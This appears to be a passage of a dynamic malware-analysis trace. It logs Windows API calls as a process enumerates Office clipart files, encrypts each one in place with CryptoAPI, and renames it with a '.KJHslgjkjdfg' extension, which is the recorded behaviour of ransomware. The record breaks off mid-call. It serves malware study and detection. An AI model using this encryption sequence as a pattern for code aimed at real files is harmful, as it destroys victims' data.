[0202.770] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8a0c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0178932.JPG", cAlternateFileName="")) returned 1 [0202.770] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178932.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.771] GetProcessHeap () returned 0x2ef0000 [0202.771] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0202.772] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0202.772] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0202.772] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0202.774] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.774] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.774] GetProcessHeap () returned 0x2ef0000 [0202.774] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0202.774] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0202.774] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.774] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0202.774] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0202.774] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0202.774] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0202.774] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0202.775] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0202.775] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.775] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.775] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.775] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x8a0c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x8a0c, lpOverlapped=0x0) returned 1 [0202.776] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x8a10, dwBufLen=0x8a10 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x8a10) returned 1 [0202.776] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.776] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x8a10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x8a10, lpOverlapped=0x0) returned 1 [0202.776] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.776] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x8ae4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.776] SetEndOfFile (hFile=0x130) returned 1 [0202.779] GetProcessHeap () returned 0x2ef0000 [0202.779] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0202.779] GetProcessHeap () returned 0x2ef0000 [0202.779] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0202.780] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178932.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178932.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178932.jpg.kjhslgjkjdfg")) returned 1 [0202.781] CloseHandle (hObject=0x130) returned 1 [0202.781] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7d6e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0179963.JPG", cAlternateFileName="")) returned 1 [0202.781] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0179963.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.782] GetProcessHeap () returned 0x2ef0000 [0202.782] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0202.782] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0202.782] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0202.782] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0202.784] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.784] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.784] GetProcessHeap () returned 0x2ef0000 [0202.784] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0202.784] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0202.784] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.784] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0202.784] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0202.784] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0202.784] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0202.785] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0202.785] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0202.785] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.785] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.785] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.785] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x7d6e, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x7d6e, lpOverlapped=0x0) returned 1 [0202.786] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7d70, dwBufLen=0x7d70 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7d70) returned 1 [0202.786] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.786] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x7d70, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x7d70, lpOverlapped=0x0) returned 1 [0202.787] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.787] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7e44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.787] SetEndOfFile (hFile=0x130) returned 1 [0202.789] GetProcessHeap () returned 0x2ef0000 [0202.789] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0202.789] GetProcessHeap () returned 0x2ef0000 [0202.789] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0202.789] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0179963.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0179963.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0179963.jpg.kjhslgjkjdfg")) returned 1 [0202.790] CloseHandle (hObject=0x130) returned 1 [0202.790] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x40e7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0182689.JPG", cAlternateFileName="")) returned 1 [0202.791] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182689.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.792] GetProcessHeap () returned 0x2ef0000 [0202.792] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0202.792] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0202.792] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0202.792] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x9, lpOverlapped=0x0) returned 1 [0202.794] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.794] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.794] GetProcessHeap () returned 0x2ef0000 [0202.795] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0202.795] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0202.795] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.795] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0202.795] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0202.795] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0202.795] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0202.795] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0202.795] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0202.795] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.795] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.795] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.795] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x40e7, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x40e7, lpOverlapped=0x0) returned 1 [0202.799] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x40f0, dwBufLen=0x40f0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x40f0) returned 1 [0202.799] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.799] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x40f0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x40f0, lpOverlapped=0x0) returned 1 [0202.799] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.799] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x41c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.799] SetEndOfFile (hFile=0x130) returned 1 [0202.802] GetProcessHeap () returned 0x2ef0000 [0202.802] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0202.802] GetProcessHeap () returned 0x2ef0000 [0202.802] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0202.802] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182689.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182689.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182689.jpg.kjhslgjkjdfg")) returned 1 [0202.804] CloseHandle (hObject=0x130) returned 1 [0202.804] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fbf9f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5f48, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0182888.WMF", cAlternateFileName="")) returned 1 [0202.804] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182888.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.804] GetProcessHeap () returned 0x2ef0000 [0202.805] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0202.805] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0202.805] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0202.805] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0202.807] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.807] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.807] GetProcessHeap () returned 0x2ef0000 [0202.807] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0202.807] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0202.807] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.807] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0202.807] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0202.807] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0202.807] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0202.807] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0202.807] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0202.807] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.807] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.807] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.807] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x5f48, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x5f48, lpOverlapped=0x0) returned 1 [0202.809] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5f50, dwBufLen=0x5f50 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5f50) returned 1 [0202.809] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.809] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x5f50, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x5f50, lpOverlapped=0x0) returned 1 [0202.809] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.809] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6024, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.809] SetEndOfFile (hFile=0x130) returned 1 [0202.812] GetProcessHeap () returned 0x2ef0000 [0202.812] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0202.812] GetProcessHeap () returned 0x2ef0000 [0202.812] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0202.812] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182888.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182888.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182888.wmf.kjhslgjkjdfg")) returned 1 [0202.813] CloseHandle (hObject=0x130) returned 1 [0202.813] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3b2e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0182898.WMF", cAlternateFileName="")) returned 1 [0202.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0182898.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0182898.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.814] GetProcessHeap () returned 0x2ef0000 [0202.814] RtlAllocateHeap (HeapHandle=0x2ef0000, 